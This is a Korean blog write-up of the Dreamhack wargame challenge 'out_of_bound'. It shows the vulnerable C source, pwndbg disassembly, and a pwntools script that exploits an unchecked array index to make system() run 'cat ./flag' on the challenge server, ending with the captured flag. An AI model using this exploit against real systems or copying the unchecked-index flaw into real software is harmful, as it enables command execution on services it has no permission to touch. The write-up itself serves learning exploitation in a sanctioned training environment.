1. Prob
이 문제는 서버에서 작동하고 있는 서비스(out_of_bound)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득하세요.
"flag" 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
Environment
Ubuntu 16.04
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
2. Analysis
해당 문제도 소스코드가 함께 주어지므로, 소스코드 분석을 통해 취약점을 찾는다. Out Of Bound라고 문제에서 명시하고 있으며, 어렵지 않게 취약점을 찾을 수 있다.
char name[16];
char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
(중략)
 
int main()
{
    int idx;
    initialize();
    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");
    scanf("%d", &idx);
    system(command[idx]);
    return 0;
}
상기의 코드를 확인하였을 때, 정말 어렵지 않게 취약점을 찾을 수 있다.
먼저 문자열 배열인 command 의 배열 사이즈는 10이며, 이 중 5개의 배열만 초기화 되어 있다. 그리고 scanf( ) 함수를 통해 입력 받은 정수의 배열 인덱스에 해당하는 command 문자열 배열의 데이터를 system( ) 함수를 통해 실행한다.
문제는 scanf( ) 함수를 통해 입력 받는 정수의 범위를 제한하지 않아 0~4 이외의 정수가 입력될 경우 배열의 잘못된 영역을 참조하게 된다, 이러한 취약점을 out of boundary 라고 한다.
문제 해결을 위해서는 system( ) 함수의 인자를 내가 원하는 인자로 세팅할 필요가 있다. (예를 들면.. cat flag 라던가..? 아니면 /bin/sh 라던가...) 그렇다면 command[idx] 의 데이터가 내가 입력한 값으 되면 된다. 이제 동적 분석을 통해 내가 원하는 공격이 실제로 가능한지 판단할 필요가 있다.
0x0804872c <+97>:    call   0x8048540 <__isoc99_scanf@plt>
0x08048731 <+102>:   add    esp,0x10
0x08048734 <+105>:   mov    eax,DWORD PTR [ebp-0x10]
0x08048737 <+108>:   mov    eax,DWORD PTR [eax*4+0x804a060]
0x0804873e <+115>:   sub    esp,0xc
0x08048741 <+118>:   push   eax
0x08048742 <+119>:   call   0x8048500 <system@plt>
상기의 어셈블리는 문제 파일의 main 함수에 대한 disassembly 결과 중 scanf( ) 함수를 사용하여 사용자 입력을 받고 system( ) 함수의 실행으로 이어지는 부분만 발췌한 것이다.
먼저 scanf( ) 함수를 통해 입력받은 정수가 ebp-0x10 에 저장되고, 이를 eax 레지스터에 복사한다. 그리고 eax*4+0x804a060 값을 eax 레지스터에 복사하고, 이를 system( ) 함수의 인자로 사용한다. scanf( )함수를 통해 입력받은 값은 정수이기 때문에 입력 값에 x4를 하는 것이라고 유추하면, 0x804a060은 command 배열의 주소일 것이라고 유추할 수 있다.
pwndbg> i var command
All variables matching regular expression "command":
Non-debugging symbols:
0x0804a060  command
그리고 name 배열의 주소도 위와 같은 방법으로 알 수 있다
pwndbg> i var name
All variables matching regular expression "name":
Non-debugging symbols:
0x0804a0ac  name
그리고 스택 내에서 두 배열의 거리 (offset)은 아래와 같이 구할 수 있다.
pwndbg> p/d 0x0804a0ac - 0x0804a060
$1 = 76
자 생각해보자. command[idx]가 내가 입력하는 name 배열을 참조하게 만들기 위해 eax*4가 76이 되야한다. 그렇다면 정수로 입력한 eax에 저장된 값은 76 / 4 = 19, 즉 idx 값이 19가 되면 name 배열을 참조하게 된다.
그렇다면 name 배열에 'cat flag' 문자열을 저장하고, idx에 19를 입력하여 플래그를 읽을 수 있을 것이라고 생각했다.
pwndbg> r
Starting program: /home/gssong/Desktop/out_of_bound
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Admin name: cat flag
What do you want?: 19
[Attaching after Thread 0xf7fc24c0 (LWP 4929) vfork to child process 4932]
[New inferior 2 (process 4932)]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Detaching vfork parent process 4929 after child exit]
[Inferior 1 (process 4929) detached]
[Inferior 2 (process 4932) exited with code 0177]
pwndbg>
개같이 실패...
원인을 찾기 위해 다시 디버깅을 시작해본다.
pwndbg> b *main+119
Breakpoint 1 at 0x8048742
pwndbg> r
Starting program: /home/gssong/Desktop/out_of_bound
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Admin name: cat flag
What do you want?: 19
Breakpoint 1, 0x08048742 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────
 EAX  0x20746163 ('cat ')
 EBX  0xf7f9ee34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x230d2c /* ',\r#' */
 ECX  0
 EDX  0xf7fc24c0 ◂— 0xf7fc24c0
 EDI  0xf7ffcb60 (_rtld_global_ro) ◂— 0
 ESI  0x8048770 (__libc_csu_init) ◂— push ebp
 EBP  0xffffd358 ◂— 0
 ESP  0xffffd330 ◂— 0x20746163 ('cat ')
 EIP  0x8048742 (main+119) —▸ 0xfffdb9e8 ◂— 0xfffdb9e8
 
 (중략)
흠... 인자로 'cat '만 들어가 있다. 그리고 이 문자열을 주소로 인식한다. 그렇다면.. name+4에 'cat flag' 문자열을 저장하고, name 배열을 system 함수의 인자로 넣으면 될 것 같다.
from pwn import*
context.log_level = 'debug'
file = "./out_of_bound"
#p = process (file)
p = remote('host1.dreamhack.games', 15251)
elf = ELF(file)
p.recvuntil(b"name: ")
cmd_addr = elf.symbols['command']
name_addr = elf.symbols['name']
payload = p32(name_addr+4)
payload += b'cat ./flag'
p.sendline(payload)
p.recvuntil(b"?: ")
p.sendline(b'19')
p.interactive()
python oob1_ex.py
[+] Opening connection to host1.dreamhack.games on port 15251: Done
[*] '/home/gssong/Desktop/out_of_bound'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[DEBUG] Received 0xc bytes:
    b'Admin name: '
[DEBUG] Sent 0xf bytes:
    00000000  b0 a0 04 08  63 61 74 20  2e 2f 66 6c  61 67 0a     │····│cat │./fl│ag·│
    0000000f
[DEBUG] Received 0x13 bytes:
    b'What do you want?: '
[DEBUG] Sent 0x3 bytes:
    b'19\n'
[*] Switching to interactive mode
[DEBUG] Received 0x24 bytes:
    b'DH{2524e20ddeee45f11c8eb91804d57296}'
DH{2524e20ddeee45f11c8eb91804d57296}[*] Got EOF while reading in interactive
'Wargame & CTF > Dreamhack' 카테고리의 다른 글
| sint (0) | 2025.01.27 | 
|---|---|
| off_by_one_001 (0) | 2025.01.22 | 
| basic_exploitation_003 (1) | 2025.01.16 | 
| basic_exploitation_001 (0) | 2024.12.18 | 
| shell_basic (0) | 2024.12.17 |